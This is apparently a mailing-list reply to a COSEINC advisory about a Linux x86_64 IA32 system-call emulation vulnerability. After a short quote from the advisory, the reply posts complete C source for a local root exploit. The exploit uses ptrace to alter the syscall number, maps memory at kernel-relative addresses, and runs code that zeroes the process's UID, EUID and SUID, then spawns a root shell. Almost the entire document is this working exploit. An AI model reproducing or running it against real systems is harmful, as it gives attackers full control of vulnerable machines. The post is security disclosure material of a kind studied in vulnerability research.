Re: COSEINC Linux Advisory #2: IA32 System Call Emulation Vulnerability

[Robert Swiecki <jagger@xxxxxxxxxxx>]

Wojciech Purczynski wrote:

> On x86_64 platform the Linux kernel supports compatibility emulation for
> IA32 userland applications providing 32-bit system calls amongst other
> 32-bit resources.
> 
> As a result of arch/x86_64/ia32/ia32entry.S code optimization invalid
> opcodes was used in the low level assembler routines providing
> insufficient validation of %RAX register in the following part of code
> (2.6):

nice one..

well, here's the exploit


/*
 * exploit for x86_64 linux kernel ia32syscall emulation
 * bug, discovered by Wojciech Purczynski <cliph@xxxxxxx>
 *
 * by
 * Robert Swiecki <robert@xxxxxxxxxxx>
 * Przemyslaw Frasunek <venglin@xxxxxxxxxxxxxxxxx>
 * Pawel Pisarczyk <pawel@xxxxxxxxxxxx>
 * of ATM-Lab http://www.atm-lab.pl
 */

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>

uint32_t uid, euid, suid;

static void kernelmodecode(void)
{
        int i;
        uint8_t *gs;
        uint32_t *ptr;

        asm volatile ("movq %%gs:(0x0), %0" : "=r"(gs));

        for (i = 200; i < 1000; i+=1) {

                ptr = (uint32_t*) (gs + i);

                if ((ptr[0] == uid) && (ptr[1] == euid)
                        && (ptr[2] == suid) && (ptr[3] == uid)) {
                        ptr[0] = 0; //UID
                        ptr[1] = 0; //EUID
                        ptr[2] = 0; //SUID

                        break;
                }
        }

}

static void docall(uint64_t *ptr, uint64_t size)
{
        getresuid(&uid, &euid, &suid);

        uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);

        if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                printf("mmap fault\n");
                exit(1);
        }

        for (; ptr < (tmp + size); ptr++)
                *ptr = (uint64_t)kernelmodecode;

        __asm__("\n"
        "\tmovq $0x101, %rax\n"
        "\tint $0x80\n");

        printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(),
getgid(), getegid());
        execl("/bin/sh", "bin/sh", 0);
        printf("no /bin/sh ??\n");
        exit(0);
}

int main(int argc, char **argv)
{
        int pid, status, set = 0;
        uint64_t rax;
        uint64_t kern_s = 0xffffffff80000000;
        uint64_t kern_e = 0xffffffff84000000;
        uint64_t off = 0x0000000800000101 * 8;

        if (argc == 4)  {
                docall((uint64_t*)(kern_s + off), kern_e - kern_s);
                exit(0);
        }

        if ((pid = fork()) == 0) {
                ptrace(PTRACE_TRACEME, 0, 0, 0);
                execl(argv[0], argv[0], "2", "3", "4", 0);
                perror("exec fault");
                exit(1);
        }

        if (pid == -1) {
                printf("fork fault\n");
                exit(1);
        }

        for (;;) {
                if (wait(&status) != pid)
                        continue;

                if (WIFEXITED(status)) {
                        printf("Process finished\n");
                        break;
                }

                if (!WIFSTOPPED(status))
                        continue;

                if (WSTOPSIG(status) != SIGTRAP) {
                        printf("Process received signal: %d\n",
WSTOPSIG(status));
                        break;
                }

                rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                if (rax == 0x000000000101) {
                        if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX,
off/8) == -1) {
                                printf("PTRACE_POKEUSER fault\n");
                                exit(1);
                        }
                        set = 1;
                }

                if ((rax == 11) && set) {
                        ptrace(PTRACE_DETACH, pid, 0, 0);
                        for(;;)
                                sleep(10000);
                }

                if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
                        printf("PTRACE_SYSCALL fault\n");
                        exit(1);
                }
        }

        return 0;
}


-- 
Robert Swiecki
http://www.swiecki.net